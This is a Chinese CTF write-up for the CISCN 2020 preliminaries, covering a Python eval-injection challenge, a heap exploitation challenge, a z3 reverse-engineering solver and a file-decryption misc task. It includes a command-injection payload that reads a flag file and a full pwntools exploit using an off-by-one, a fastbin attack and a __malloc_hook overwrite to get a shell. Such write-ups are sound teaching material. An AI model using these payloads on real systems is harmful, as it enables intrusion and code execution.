ciscn 初赛 2020

write up

Posted by X1ng on August 21, 2020

也是很久没做堆题了,一道堆题要肝好长时间才能肝出来or2

就当作学习一波吧

PWN

babyjsc

附件完全看不懂,但是nc连接服务器

python2里的input,相当于eval(raw_input())

然后就没有然后了

来自CBCTF Misc和部分Web Writeup

payload:

__import__("os").popen("cat /home/ctf/flag").read()

easybox

开始没搞清楚题目环境,在tcache下搞了很久才发现是libc-2.23.so

例行检查

主要函数

没有show函数泄露地址

存在off-by-one漏洞

思路:

  1. fastbin attack任意地址写

    构造堆块重叠,实现任意地址写:让chunk既在fastbin中又在unsorted_bin中,则这个chunk的fd指针指向main_arena+88,从unsorted_bin中申请这个chunk,只输入两字节覆盖的fd指针低字节从而让fd指向目标地址之前(_IO_2_1_stdout地址之前、malloc_hook之前)的一个地址(绕过size的验证),将chunk分配到目标地址上

  2. 利用_IO_2_1_stdout泄露libc地址,计算基地址

  3. 将one_gadget写入malloc_hook

exp

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

elf=ELF('./pwn')
libc=ELF('libc-2.23.so')

def add(content,idx,size):
	p.recvuntil('>>>')
	p.sendline('1')
	p.recvuntil('idx:')
	p.sendline(str(idx))
	p.recvuntil('len:')
	p.sendline(str(size))
	p.recvuntil('content:')
	p.send(content)

def delete(idx):
	p.recvuntil('>>>')
	p.sendline('2')
	p.recvuntil('idx:')
	p.sendline(str(idx))

def pwn():
	add('aaa',0,0x30)
	add('aaa',1,0x100)
	add('aaa',2,0x60)
	add('aaa',3,0x30)
	add('aaa',4,0x20)
	
	delete(0)
	delete(2)
	add('b'*0x38+'\xc1',0,0x38)#10+70+40=c0 让chunk1与chunk2、chunk3重叠
  
	delete(1)
	add('aaa',1,0x100)
	add('\xdd\x25',2,0x90)#从unsorted_bin中申请chunk,覆盖fd低位(需要爆破半字节),所以申请0x90 
  
	#此时fastbin中同样地址的chunk的size已改为0x90
  
	#需要利用上一个相邻chunk的off-by-one修改为0x71
  
	delete(1)
	add('c'*0x108+'\x71',1,0x108)
  
	add('ddd',5,0x60)#从fastbin中申请fd指向_IO_2_1_stdout的chunk
  
	#0x7fxxxxxxx620-0x7fxxxxxxx5dd=0x43
  
	#0x43-0x10=0x33
  
	add('\x00'*0x33 + p64(0xfbad1800) +p64(0)*3 + p8(0x88),5,0x60)
	
	libc_addr = u64(p.recvuntil("\x7f",timeout=0.2)[-6:].ljust(8,'\x00'))
	if libc_addr == 0:
       		exit(-1)
	libc_base = libc_addr - 0x3C48E0
	print 'libc base = '+str(hex(libc_base))
	malloc_hook=libc_base+libc.symbols['__malloc_hook']
	print 'malloc_hook = '+str(hex(malloc_hook))
	onegadget = libc_base+0xf1207
	addr = malloc_hook-0x23
	
  	#故技重施写malloc_hook
  
	add('aaa',6,0x10)
	add('aaa',7,0x100)
	add('aaa',8,0x60)
	add('aaa',9,0x30)
	add('aaa',10,0x20)

	delete(6)
	delete(8)
	add('b'*0x18+'\xc1',0,0x18)
	delete(7)
	add('aaa',7,0x100)
	add(p64(addr),8,0x90)
	delete(7)
	add('c'*0x108+'\x71',7,0x108)
	add('ddd',11,0x60)
	add('\x00\x00\x00'+p64(0)+p64(0)+p64(onegadget),12,0x60)
	
	p.recvuntil(">>>")
	p.sendline("1")
	p.recvuntil("idx:")
	p.sendline('6')
	p.recvuntil("len:")
	p.sendline('1')
	p.interactive()
	


if __name__ == "__main__":
    while True:
        p = process('./pwn')
        #p = remote("101.200.53.148 ",  34521)
        
        try:
        	pwn()
		
        except:
        	p.close()

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)

constraints:

  rax == NULL


0x4527a execve("/bin/sh", rsp+0x30, environ)

constraints:

  [rsp+0x30] == NULL


0xf0364 execve("/bin/sh", rsp+0x50, environ)

constraints:

  [rsp+0x50] == NULL


0xf1207 execve("/bin/sh", rsp+0x70, environ)

constraints:

  [rsp+0x70] == NULL
  
'''


RE

z3

ida打开

逻辑很简单,就是将&unk_404020处的数据作为约束解出需要输入的字符串

&unk_404020处的数据:

int类型四个字节,可以整理出v4到v45的值

还需要z3约束求解器

python2.7 -m pip install z3-solver

将v46到v87的字符串中每个字符设为未知数求解方程

解密脚本

from z3 import *

v46=Int('v46')#设为未知数

v47=Int('v47')
v48=Int('v48')
v49=Int('v49')
v50=Int('v50')
v51=Int('v51')
v52=Int('v52')
v53=Int('v53')
v54=Int('v54')
v55=Int('v55')
v56=Int('v56')
v57=Int('v57')
v58=Int('v58')
v59=Int('v59')
v60=Int('v60')
v61=Int('v61')
v62=Int('v62')
v63=Int('v63')
v64=Int('v64')
v65=Int('v65')
v66=Int('v66')
v67=Int('v67')
v68=Int('v68')
v69=Int('v69')
v70=Int('v70')
v71=Int('v71')
v72=Int('v72')
v73=Int('v73')
v74=Int('v74')
v75=Int('v75')
v76=Int('v76')
v77=Int('v77')
v78=Int('v78')
v79=Int('v79')
v80=Int('v80')
v81=Int('v81')
v82=Int('v82')
v83=Int('v83')
v84=Int('v84')
v85=Int('v85')
v86=Int('v86')
v87=Int('v87')
solver=Solver()
#Solver()创建一个通用求解器

#add()添加约束条件

solver.add(34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52==0x4f17)
solver.add(27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52==0x9cf6)
solver.add(24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52==0x8ddb)
solver.add(78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52==0x8ea6)
solver.add(48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52==0x6929 )
solver.add(15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52==0x9911)
solver.add(26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52==0x40a2 )
solver.add(34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59==0x2f3e )
solver.add(27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59==0x62b6 )
solver.add(24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59==0x4b82 )
solver.add(78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59==0x486c )
solver.add(48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59==0x4002 )
solver.add(15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59==0x52d7 )
solver.add(26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59==0x2def )
solver.add(34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66==0x28dc )
solver.add(27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66==0x640d )
solver.add(24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66==0x528f )
solver.add(78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66==0x613b )
solver.add(48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66==0x4781 )
solver.add(15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66==0x6b17 )
solver.add(26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66==0x3237 )
solver.add( 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73==0x2a93)
solver.add( 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73==0x615f)
solver.add( 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73==0x50be)
solver.add( 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73==0x598e)
solver.add( 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73==0x4656)
solver.add( 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73==0x5b31)
solver.add( 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73==0x313a)
solver.add( 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80==0x3010)
solver.add( 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80==0x67fe)
solver.add( 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80==0x4d5f)
solver.add( 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80==0x58db)
solver.add( 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80==0x3799)
solver.add(15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80==0x60a0 )
solver.add(26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80==0x2750 )
solver.add(34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87==0x3759 )
solver.add(27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87==0x8953 )
solver.add(24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87==0x7122)
solver.add(78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87==0x81f9 )
solver.add(48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87==0x5524 )
solver.add(15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87==0x8971 )
solver.add(26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87==0x3a1d )
#check()解决声明的约束条件,sat结果表示找到某个合适的解,unsat结果表示没有解

if solver.check()==sat:
    m=solver.model()
    print(m)

MISC

电脑被黑

misc爷爷分离出了flag.txt和demo

ida打开demo

函数逻辑是以二进制的方式打开文件,按字节读取进行运算后再写入文件

开始以为只是把flag放进去运行就可以了,后来才想到flag.txt应该才是修改后的文件

写解密脚本(没用过python的文件操作,所以直接复制ida伪代码,修改运算规则后gcc编译)

#include<stdio.h>

int main(int argc, const char **argv, const char **envp)
{
   int result; // eax
  char v4; // [rsp+1Dh] [rbp-13h]
  char v5; // [rsp+1Eh] [rbp-12h]
  char v6; // [rsp+1Fh] [rbp-11h]
  FILE *v7; // [rsp+20h] [rbp-10h]
  FILE *stream; // [rsp+28h] [rbp-8h]

  v4 = 34;
  v5 = 0;
  v7 = fopen(argv[1], "rb");
  if ( v7 ){
    stream = fopen(argv[1], "rb+");
    if ( stream ){
      while ( 1 ){
        v6 = fgetc(v7);
				printf("%x",v6);
        if ( v6 == -1 )
          break;
        fputc((v6 ^ v4)-v5, stream);
        v4 += 34;
        v5 = (v5 + 2) & 0xF;
      }
      fclose(v7);
      fclose(stream);
      result = 0;
    }
    else{
      printf("cannot open file", "rb+", argv);
      result = 0;
    }
  }
  else{
    printf("cannot open this file", "rb", argv);
  }
  return 0;
}